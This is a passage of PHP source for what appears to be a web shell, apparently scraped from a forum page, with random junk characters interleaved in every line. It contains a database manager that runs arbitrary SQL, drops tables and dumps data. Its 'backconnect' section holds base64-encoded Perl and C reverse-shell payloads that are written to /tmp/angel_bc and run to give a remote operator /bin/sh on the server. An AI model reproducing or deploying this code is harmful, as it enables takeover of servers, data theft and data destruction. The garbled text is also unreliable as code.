- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
( Y* K* x6 t+ b6 I4 n& Y2 I" j p - }
9 U' K0 Z- ], R" x' y - }
, ]# u" h+ k' V/ e% n2 n3 y. M, c' j - if ($doing == 'del' && $base64) {' l; B( ]% F, U+ e0 w
- $where = base64_decode($base64);
, u% s( ]! ?0 c - $delete_sql = "DELETE FROM $tablename WHERE $where";+ m; ^: e7 b! r0 C3 G
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
; O0 K, z; r9 d3 i: G0 V% x5 v5 R - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());* f# G# {0 m, x8 c
- }. }& i. x! H3 i ]9 {& m! G
- 3 f$ W _! q& H# B
- if ($tablename && $doing == 'drop') {
8 b% N! E* t( f8 d, N& l, r - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
: R+ Z6 k9 T" f - if (q("DROP TABLE $tablename")) {$ t& y* V) [! W4 V6 ?. T
- m('Drop table of success');
# o ^& k" j c; k% d9 m4 Z - $tablename = '';' z% e8 T. K; I
- } else {+ c& d6 S P& u( x( z
- m(mysql_error());
' w7 |+ t7 p; D2 F- g" I* e - }
, o, v: V6 y& X/ j6 o5 i/ I - }
# w: }* W. e2 j6 v m4 D - / H0 d$ L) R4 ^! F; `4 j8 n
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
5 ^ G8 s0 T$ ~9 T" g! f -
- T, Z: U8 z# y - formhead(array('title'=>'MYSQL Manager'));5 G% Q" X4 f0 r0 _7 Q" ?
- makehide('action','sqladmin');& n6 A" b/ l4 \+ E" y8 i
- p('<p>');
0 x$ }; N1 ^) R; }5 K4 `' o4 L9 D, @ - p('DBHost:');/ V0 f! i& [) _4 A
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));/ Q/ d+ F4 r) e3 x. ^; C% z1 I7 K
- p(':');
- x* R* T+ W; V - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));/ d) A0 m- c$ d
- p('DBUser:');
2 I; U" _& y0 e' p, M - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
5 G' Y' ], N8 d) x! E) z1 w - p('DBPass:');% g/ E* h: R( G" ?
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));6 [* A8 f$ E. ]1 k
- p('DBCharset:');4 N3 _; @+ f6 N. g- m
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
, c- R, H9 i- V# d - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));. t" {7 q% d. N8 ]) y$ J
- p('</p>');
+ \" t& V0 e; G. Q( k8 [( S. ^ - formfoot();
( d, H V3 w8 r - ?>
$ L; z0 U8 h5 E9 q% a6 } - <script type="text/javascript">) g1 W8 R. K) L/ Q
- function editrecord(action, base64, tablename){
( L) {. m8 |) r; v8 g1 N - if (action == 'del') { ( o: ]& I- \! w( s1 ]0 \2 Y
- if (!confirm('Is or isn\'t deletion record?')) return;
& C7 E- ?7 i8 o$ E8 y5 A - }
1 F! ?( \1 ~2 l) Q - $('recordlist').doing.value=action;
( c3 j4 @0 W0 T! [ - $('recordlist').base64.value=base64;
& \- f! P9 `( o, p% w( H - $('recordlist').tablename.value=tablename;: E8 Q1 r5 w- g; d$ m3 }
- $('recordlist').submit();6 U; Q6 h1 W4 d* u! }3 Y
- }2 e6 P. K2 s: \% y( G% s& i* P3 y
- function moddbname(dbname) { ~5 h1 ^3 }" a
- if(!dbname) return;! m* d0 Z. q/ ^
- $('setdbname').dbname.value=dbname;' J2 v) b2 g* d0 Y, H
- $('setdbname').submit();
+ O I; x3 G: D2 G! b7 z* D - }8 g' i8 Z6 J; T ]: e4 t# h
- function settable(tablename,doing,page) {
5 R, h2 C5 y$ R: N& F - if(!tablename) return;: q4 \/ b7 d: F+ u
- if (doing) {- z/ H$ ^! v: a, }! D% C. X$ u
- $('settable').doing.value=doing;
! J7 n& v; ]9 D - }
9 s- f2 I( I4 e" W9 b7 B8 i, c; S0 H% Z - if (page) {4 w9 ? L% \! e# F
- $('settable').page.value=page;
2 [+ i* j/ J6 n2 M$ w- s1 N. r) n - }1 C8 o& d6 W& s3 r, S
- $('settable').tablename.value=tablename;' a0 v C* Q1 K( Y+ d
- $('settable').submit();% B: D. `% t) ~9 B8 {
- }
$ o+ R3 B* ]! d! H, Q9 o - </script>% G5 G/ S) i9 B; O5 m$ M" L( W
- <?php
, Y+ J# P4 r8 k+ s1 O, V6 N - //操作记录; l: J2 J0 G, K2 [" A5 T ^6 O
- formhead(array('name'=>'recordlist'));/ I' R7 n N0 e- y& I
- makehide('doing');
2 w p- h$ E( q7 l+ q. P4 O - makehide('action','sqladmin');
4 ?4 r( a, \" }! F( m8 i8 o! @ - makehide('base64');+ O0 G% H/ i5 c" c5 c' ]
- makehide('tablename');
8 f3 @+ r5 u7 W3 k2 J - p($dbform);
8 M3 {! ?5 s" ?7 C4 y" X" n7 P - formfoot();
) t) l+ V( T i9 B3 n: Z. q, j* j - //选定数据库
6 N$ O" e# w. W2 b# t9 s+ t - formhead(array('name'=>'setdbname'));
+ [2 b# W) W0 {8 ^ - makehide('action','sqladmin');: U) y& N9 `/ F+ [: P$ F
- p($dbform);( ~! I6 a1 w# V: }+ N* e* `
- if (!$dbname) {
4 k- I5 f' _$ U$ X9 j - makehide('dbname');
0 r5 L. D- _, b0 Z - }
2 E5 y3 P9 W4 q; }1 Q7 [! p - formfoot();
$ a5 O# }# h6 S4 T - //选定表
9 z- D0 Y8 I* d9 s - formhead(array('name'=>'settable'));
* m! M0 y0 Q* T7 k; T/ r8 b - makehide('action','sqladmin');) D+ z5 T/ N3 [8 r2 U! `
- p($dbform);' a m. l. j, _( Q
- makehide('tablename');
8 h9 r. i# X6 n, V/ [; x( j - makehide('page',$page);
) Z' F% A: \6 z6 H - makehide('doing');3 D6 c7 ]: X% S/ t9 M+ j
- formfoot();( I- \- h, a* v8 S Q d
- $cachetables = array(); 8 S8 D$ X) m, u5 r7 |4 ~
- $pagenum = 30;
& S! Y5 t V+ r8 l - $page = intval($page);& Q) o. F& @. B$ K# y( q. f, I+ V
- if($page) {
) Z6 U" n, Q" F# J1 [* W: R# l - $start_limit = ($page - 1) * $pagenum;6 h/ F6 s. M% ~! q) J1 Z; X+ l0 |
- } else {
- i! D4 ^# d6 R; S' w1 | - $start_limit = 0;: R4 l4 E! V: y& x& l0 x2 F( f t6 _8 E
- $page = 1;
" r! W0 Y( b6 h6 A - }! f9 f" c4 n0 {
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
# a) q+ W2 z" m* s) F% Y - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
( G6 m+ m& M7 e# s! e - //获取数据库信息9 B% ?" r$ k6 i! ?
- $mysqlver = mysql_get_server_info();# U) }4 ?, J7 s! [5 z/ j) F
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$ U; F ~0 h7 y, B - $highver = $mysqlver > '4.1' ? 1 : 0;. f% u+ b6 O) F; H, F+ Y
- //获取数据库
8 O9 {- }" x; ~, A: X2 U4 [3 m" g - $query = q("SHOW DATABASES");' _, V% v' @( n7 l: f3 _7 d
- $dbs = array();5 {: y! i! Q* }4 M# F2 H/ h
- $dbs[] = '-- Select a database --';
- L+ S; D- A2 [0 C/ t - while($db = mysql_fetch_array($query)) {
( J* r' c4 H, K8 k+ [ j2 q: ^ - $dbs[$db['Database']] = $db['Database'];
% O C, n1 `$ m# l, `6 w6 l - }; y) `! S+ ?% G7 d+ u
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
& _ q1 M! t0 e$ T$ T9 ]0 h - $tabledb = array();
3 ~5 p6 F2 e( m) ~* f7 J - if ($dbname) {
0 I/ a) Z; q5 @5 k" Y! B, B - p('<p>');/ i- b0 U" w' S) ]* J
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
5 L9 I. M4 O% T. Z- J - if ($tablename) {9 U, N% A0 V' [4 F" U/ d
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');! s$ q' {3 I1 |% ?. I, p
- }9 s) B) s' s/ C) b7 A- Q
- p('</p>');- z1 t! q" I6 t( `
- mysql_select_db($dbname);
) P- P% T1 I; h" S& F - $getnumsql = '';) d' b' }8 X, J, m1 n, ?- m$ O
- $runquery = 0;
: E5 D! @+ U# U8 K) V. a - if ($sql_query) {- S* ~: b* F! E, ]& F* ^, ^4 P
- $runquery = 1;
- T- X1 t& T# q% i% H, ~# A+ } - }* k& e+ T7 A( _" d1 L
- $allowedit = 0;) x* S2 O# T& N$ n# ?! D/ _; n5 h! ]) ?
- if ($tablename && !$sql_query) {
* b: ?8 m* B1 O, |( I& Q3 A - $sql_query = "SELECT * FROM $tablename";3 y2 y! t7 K( M# b
- $getnumsql = $sql_query;
' G% m3 X; @5 h0 _$ x: P& o3 D1 Z X+ ] - $sql_query = $sql_query." LIMIT $start_limit, $pagenum";4 [. V# }. C0 P# `, P; o7 s+ a
- $allowedit = 1;+ t) {8 S. `3 P* {( p+ @5 m- x' R
- }
/ O3 N8 ?7 D! B" h& s - p('<form action="'.$self.'" method="POST">');$ S1 T% J, M9 l8 Z
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
9 A3 U1 l! q9 i/ d% ^% W; i - makehide('tablename', $tablename);0 F, g4 N; y: W" z, G. f8 v0 U
- makehide('action','sqladmin');
, w9 [& L0 k4 ^2 ]) Q" b: J# o - p($dbform);% o$ b% y' J! b n0 N2 b4 A
- p('</form>');& D4 h7 V8 n& s5 I% j5 |7 f
- if ($tablename || ($runquery && $sql_query)) {5 y9 w* f7 F8 p7 |. y* I( r$ `
- if ($doing == 'structure') {( r$ k% v# @7 n
- $result = q("SHOW COLUMNS FROM $tablename");$ g- h5 A6 B' v, T. [4 m. Y
- $rowdb = array();
4 R* S* q/ s2 c9 N - while($row = mysql_fetch_array($result)) {
`+ w* ~$ g8 k; f( v& l - $rowdb[] = $row;' n& r5 o2 `4 W0 j# z$ S1 S' s
- }* o# o2 I7 s$ X
- p('<table border="0" cellpadding="3" cellspacing="0">');+ i2 w9 P0 ]& j+ a+ z8 T! B
- p('<tr class="head">');6 J0 B @! a, z# ^, c
- p('<td>Field</td>');
$ y+ M; P8 ~# j# ^6 J0 n5 C2 I' y - p('<td>Type</td>');
% a9 h) p5 V" \4 s4 a5 A9 [0 n - p('<td>Null</td>');
# G) i8 }0 E& ]6 I/ V+ W( n, C - p('<td>Key</td>');
$ t ~7 }; P* W; S- y, s8 m: M. o( @ - p('<td>Default</td>');8 J/ @& S* v' j) X' @0 I
- p('<td>Extra</td>');: T; n- ^3 K* a( B) `$ [$ ~6 j
- p('</tr>');& k/ @# |' S9 y: `) b$ S- k; V _
- foreach ($rowdb as $row) {
/ e; o G$ @- H( s# L: B - $thisbg = bg();- b3 ]9 L% s4 U% g
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- j$ a) s. A: F5 `, i
- p('<td>'.$row['Field'].'</td>');! [/ n a9 S5 J7 w- o
- p('<td>'.$row['Type'].'</td>');
4 S8 w8 d' m" J% W) F; `% T - p('<td>'.$row['Null'].' </td>');1 i# p A0 h. X- ~
- p('<td>'.$row['Key'].' </td>');' F e: H U* u8 o9 D
- p('<td>'.$row['Default'].' </td>');
/ P @6 x+ a; x Q - p('<td>'.$row['Extra'].' </td>');6 `+ F; m+ S0 f
- p('</tr>');
" A' i0 |6 o6 F: O - }8 Z% G: W R+ O9 z6 k; [8 a! A" R
- tbfoot();
1 s u5 Y* [& D( S# \ - } elseif ($doing == 'insert' || $doing == 'edit') {
3 G& {: L% R& ]/ s - $result = q('SHOW COLUMNS FROM '.$tablename);$ w( I9 q) {. D3 ^# ]: Q$ N* [# C" \
- while ($row = mysql_fetch_array($result)) {
' F; C1 _, s a, X& h) N! `( L - $rowdb[] = $row;* B) |+ R5 \" E* d9 o3 A# x( I+ y
- }
$ | v3 |* j4 x+ D - $rs = array();
+ n0 i d* z2 v9 I - if ($doing == 'insert') {
& y7 B3 c2 c: H, {/ j* n! b - p('<h2>Insert new line in '.$tablename.' table »</h2>');
+ M* {3 d5 R6 E. U6 { z$ {. H T - } else {
( y3 g i/ _2 B+ s - p('<h2>Update record in '.$tablename.' table »</h2>');
3 C' F4 D5 E* }# V6 ~1 E; G - $where = base64_decode($base64);
. e; l! ~8 N ? C. \: T, y - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
( h9 G: h6 h! m- O - $rs = mysql_fetch_array($result);" w: E, e# E9 H9 s' z# A2 [
- }5 O0 k; \6 X# i* Y: G; W# r
- p('<form method="post" action="'.$self.'">');; S% s0 ~" C% {
- p($dbform); Q6 v0 @3 f; I+ |+ y$ ]
- makehide('action','sqladmin');
" t# s( U4 C1 b8 X: A" _8 m4 U - makehide('tablename',$tablename);+ \! C* S% a. |/ K7 o
- p('<table border="0" cellpadding="3" cellspacing="0">');
* \) d" q& v' |' d9 @. J/ M8 R, k+ ~& s - foreach ($rowdb as $row) {
: K+ [8 H | Y8 V - if ($rs[$row['Field']]) {
2 W$ i# ?* l/ x; r" n6 [& ] - $value = htmlspecialchars($rs[$row['Field']]);$ E9 r. ]' E: R0 }
- } else {
) Y; ^" r; t% l2 T - $value = '';, `7 G7 J2 l! }8 G m
- }
- Z8 I' k5 H* z - $thisbg = bg(); a" g* e3 J8 }2 X6 B8 a/ K
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');2 `$ T5 m% c5 M$ D
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
% c# V( O9 a# D% N9 M% L - }
5 v6 d6 V/ {) w3 Z, @7 a: t - if ($doing == 'insert') {
3 l3 Y. U1 h7 F3 ^0 h, m& Z+ A - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');. R9 r) K# e% l) m3 w' E; c
- } else {" e& ~/ H8 d' \8 @" p, g
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');6 K: d2 e u: |" U
- makehide('base64', $base64);3 M) y, A* R0 C1 c# o2 J
- }/ ~* T" _/ V8 P: K* ]3 a9 G1 G5 K
- p('</table></form>');4 R$ v( X8 G/ W
- } else {
5 T# p/ L( U% J! O5 t/ L - $querys = @explode(';',$sql_query);
7 p. E$ X. H5 h( i [- E2 Y* f - foreach($querys as $num=>$query) {: C8 F x( x8 R, a' w" j
- if ($query) {
( p# w1 Q; y) Y/ V4 V* t3 i4 P - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1 O6 j( I$ b& W; s4 h% b [5 x: e& h - switch(qy($query))
4 ]& y0 [( y' r8 m - {7 F0 A3 V/ |% |# d2 F9 _% C# C
- case 0:
3 I! f0 ]) H' W/ K9 p - p('<h2>Error : '.mysql_error().'</h2>');
2 Q/ M8 O" u8 s( M* j- { J+ V - break; ' y4 @3 I }: U5 T
- case 1:, k' h$ q/ i! n S' o
- if (strtolower(substr($query,0,13)) == 'select * from') {
7 v! `7 d: d# t1 J/ P - $allowedit = 1;
s1 E; z3 |# {* t/ x: w' x - }
% H* o0 S; M- N+ Z5 N% D6 a - if ($getnumsql) {. O' K& C0 M4 ]
- $tatol = mysql_num_rows(q($getnumsql));( _& y: f6 Y6 v9 F: a' u' ?
- $multipage = multi($tatol, $pagenum, $page, $tablename);' p( L! j, n# Q- a6 j# z+ ~$ ] b
- } R1 K: ]* b2 c+ I- K( m
- if (!$tablename) {5 Z0 j( g! h; [: p+ B d v
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
" G5 x: `$ ?/ \. L# ^ - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);* |; a0 I# f1 _4 o% D7 ^8 C& j- L+ Y
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);% r( j* D+ f) a
- $tablename = $matches[1][0]; E0 z7 L* n5 J2 M4 c
- }
: A% X9 `3 U1 A/ r" _3 d" ^8 K# M; y - $result = q($query);
; T) X. J/ [8 T) w/ x8 b& t9 ` - p($multipage);; ] L, b0 y; `% G2 [5 d
- p('<table border="0" cellpadding="3" cellspacing="0">');! N( [$ c1 S, j N1 f6 p" S7 N
- p('<tr class="head">');- R2 I- L% C/ l" l
- if ($allowedit) p('<td>Action</td>');8 ?' S# p! K* i4 O u+ l
- $fieldnum = @mysql_num_fields($result);7 E7 C' I$ M- P( [/ Z3 v' e' u
- for($i=0;$i<$fieldnum;$i++){: [! L, u7 T. K# A- y
- $name = @mysql_field_name($result, $i);0 n4 H1 V8 a; f/ |
- $type = @mysql_field_type($result, $i);' c1 [! J2 ^! [5 W0 P8 K
- $len = @mysql_field_len($result, $i);1 \# f: J& E( i( t9 u Q/ N
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
& ~- l" A+ x8 _/ y" Y) D - }
" }4 P$ C1 L* W+ B: g - p('</tr>');
0 p! ~' j6 ?/ y) J) l9 k - while($mn = @mysql_fetch_assoc($result)){
+ F ]2 z/ e$ l* l# T" y - $thisbg = bg();2 Z0 |- F7 R- {& Z7 |6 L: X, Q
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 t+ p& C4 C; h! ]: m
- $where = $tmp = $b1 = '';' T- f0 k. H* j! X0 p% _! e
- foreach($mn as $key=>$inside){: i. r0 N* V; O8 H5 Z5 R5 m
- if ($inside) {+ M; U/ @ N2 v6 u" O& ^9 L7 P# J" V4 ]# y
- $where .= $tmp.$key."='".addslashes($inside)."'";
, a0 e$ i5 O+ s7 d - $tmp = ' AND ';
9 B% }8 y7 [. Y5 a - }% w7 z8 m+ F4 O* E5 K4 q* S
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
( O- _) ^% ~1 y' ^$ f& @ - }
' V# d% V+ b, m2 J - $where = base64_encode($where);
8 r7 C' {/ A9 u( c/ H - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
: b9 V: Q% I7 ?0 R k - p($b1);
( e0 r( m+ w6 E - p('</tr>');
2 q2 j4 y- H! R6 I& K) a - unset($b1);, A* D; H7 I& K+ E, y3 J0 {
- }, D5 K) D! w" c$ ^% H; Y5 E
- tbfoot();
! K( i' t, O7 o! D" d - p($multipage);4 y+ k/ @6 r7 P/ u
- break; ( D" Y, K5 x# C; i
- case 2:5 K5 `. A# Z5 C+ a3 L! U/ n5 F
- $ar = mysql_affected_rows();
3 r1 v) g. y" A - p('<h2>affected rows : <b>'.$ar.'</b></h2>');8 _( h `9 T4 E0 U; m7 f
- break;9 H; h5 y4 u) M& `
- }7 H. S4 d# k+ H( j
- }
( ]1 w9 x" O* O$ T - }# Q3 T% P7 n& L0 X: R$ |; ?
- }
$ D4 o# u* e" G - } else {+ A/ n9 a- G) h6 w+ z
- $query = q("SHOW TABLE STATUS");
5 O3 m; ~, g- z7 O - $table_num = $table_rows = $data_size = 0;, i s* C- m9 g; u
- $tabledb = array();
# S4 f$ P9 F2 C7 g - while($table = mysql_fetch_array($query)) {
4 l5 B7 i. A7 S8 D2 r3 z" n - $data_size = $data_size + $table['Data_length'];
3 G& l- c$ M U+ P+ d - $table_rows = $table_rows + $table['Rows'];/ L6 Z* h/ }$ Y, L, J
- $table['Data_length'] = sizecount($table['Data_length']);
+ V: s/ ]8 T# f2 k1 U2 z - $table_num++;
) E3 Y% W, u( H/ b - $tabledb[] = $table;
; {- _7 |: Y0 s$ d' N3 X - }* b$ G8 i4 `3 T
- $data_size = sizecount($data_size);
. L2 D$ t4 Z: [! I& X; L7 X; W; h - unset($table);
; {5 f1 x* T; ~# C9 {+ | - p('<table border="0" cellpadding="0" cellspacing="0">');& f1 T9 i. n- f4 G6 Q- M
- p('<form action="'.$self.'" method="POST">');
+ d3 q1 V1 T% m4 E - makehide('action','sqladmin');+ w" b2 `) A% B: B3 I7 X
- p($dbform);
% R" I( ^9 R- ?, j - p('<tr class="head">');5 s1 W3 \* \# U3 l
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');! c+ T. y1 Q. J0 Q M/ H
- p('<td>Name</td>');; g$ K" h6 B* V* b% a9 A) P; D
- p('<td>Rows</td>');
( X9 D3 k6 @1 l E - p('<td>Data_length</td>');
4 e3 H- k" V8 y1 | r" z - p('<td>Create_time</td>');
2 ~ V, H, J% f+ r0 A8 N% V! P* d - p('<td>Update_time</td>');
1 Y: ?$ z* n" L$ C - if ($highver) {: Y1 o0 [1 M$ d2 h4 \* h
- p('<td>Engine</td>');
& T2 n* z4 |# o' a/ D x - p('<td>Collation</td>');% r, d, x9 ?3 z
- }# _* e$ c7 v* X+ M3 Z
- p('</tr>');
, P5 r8 ~2 n( ^' w" N% v - foreach ($tabledb as $key => $table) {
! [+ T4 k% X6 V. a% K3 g4 w - $thisbg = bg();
' Y H/ o! C3 s6 d! L# \# @* M - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
( w0 j! x: g8 h* b2 w - p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
4 `. p1 M1 d1 b; A9 a+ D+ y( ` - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
{' j" g# U0 J5 @6 ^- X+ b; A - p('<td>'.$table['Rows'].'</td>');8 y3 A4 E) p1 V- O- ^. k1 J) S
- p('<td>'.$table['Data_length'].'</td>');
$ v/ }% j2 a1 }3 _* a1 E" w! j4 ~& M$ E - p('<td>'.$table['Create_time'].'</td>');
# Z; v- u3 Z7 g - p('<td>'.$table['Update_time'].'</td>');, @- [! M* i3 _6 s( f* s: F
- if ($highver) {
( c2 m5 d4 W7 o# o' `2 G - p('<td>'.$table['Engine'].'</td>');
' M T; d9 E! N1 |; ^5 D7 X - p('<td>'.$table['Collation'].'</td>');5 a9 `( ?( z3 I* K
- }& K, n2 Y0 S% j8 f+ s9 [) B# q
- p('</tr>');/ P$ r. g& C- u9 O g3 q) M
- }
& E' }* I6 B% O- c( a9 I - p('<tr class='.bg().'>');8 e9 D8 ]* f$ \" b" n4 k3 Z
- p('<td> </td>');
9 n! Q$ u/ O( y$ Z - p('<td>Total tables: '.$table_num.'</td>');1 R" z4 c1 Y0 u8 p8 T
- p('<td>'.$table_rows.'</td>');! Z: `. O/ }: ^, c
- p('<td>'.$data_size.'</td>');$ ~+ }3 ~- p! {( X7 [
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');( G% @9 _6 C' M
- p('</tr>');. b! @4 A% R7 R. L
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
- o/ E {6 ?9 B9 h - makehide('doing','backupmysql');& ]+ g1 i7 `: b/ u6 z. w) `& \2 R
- formfoot();$ z5 j* B1 d3 c0 L; i" N" o
- p("</table>");
7 \# q/ F1 n% Y" i# Y - fr($query);
/ ~% c& h5 Y2 d5 q0 X1 [! d - }
* b* d5 ~9 P8 \* m3 `; Y1 }0 j - }
- v* `1 V$ ?3 b0 r3 u - }
$ z( F" D: {) g4 b6 Y( k - tbfoot();
: k+ G! c1 b: c! W - @mysql_close();: d& L' L! u, |2 s& g4 b4 {
- }//end sql backup+ S9 L* Q$ I% n$ m1 p$ h
- elseif ($action == 'backconnect') {
' P+ z; ?2 s: \1 Z$ T - !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];2 x- [' e5 I; L/ ~5 n$ O, v) h# B& o# H! l
- !$yourport && $yourport = '12345';" i9 f- K+ m1 F) m
- $usedb = array('perl'=>'perl','c'=>'c');- ~& x u4 d& W- _! E
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".( n9 h3 g8 E2 z( O" h: q/ v
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".3 ^& }/ s5 o6 O/ I- R; d0 J
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
* ~! S# c1 T" a9 S" p3 A0 F* ]) e' \ - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
; u/ z4 c0 B% U' _0 | - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".% l( ~* \, E, |
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".; W; r! N5 ?8 _8 I0 Y0 x
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";: Y9 I/ R0 e2 f
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
5 Q }1 Y" h( C3 u: M7 R - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
) n, k7 x7 g& Q7 r - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".) G4 y3 {# h7 D; b$ R4 l
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".( H! a4 ^& `$ [ g" S7 z
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
" |0 ?, i- A+ r: f- D/ r3 T- @4 L - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
; R. D1 r1 q+ ]5 X1 v1 m - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".! G5 z) [6 A' e' r- n! q% d( g9 P
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";9 \9 p- w. `% b6 P4 x
- if ($start && $yourip && $yourport && $use){
0 `: G; o5 ^( l/ ?, R5 H0 x - if ($use == 'perl') {
8 w2 s' U; Q0 G5 G - cf('/tmp/angel_bc',$back_connect);' h$ | U2 K3 ^6 g" a! e o7 x
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
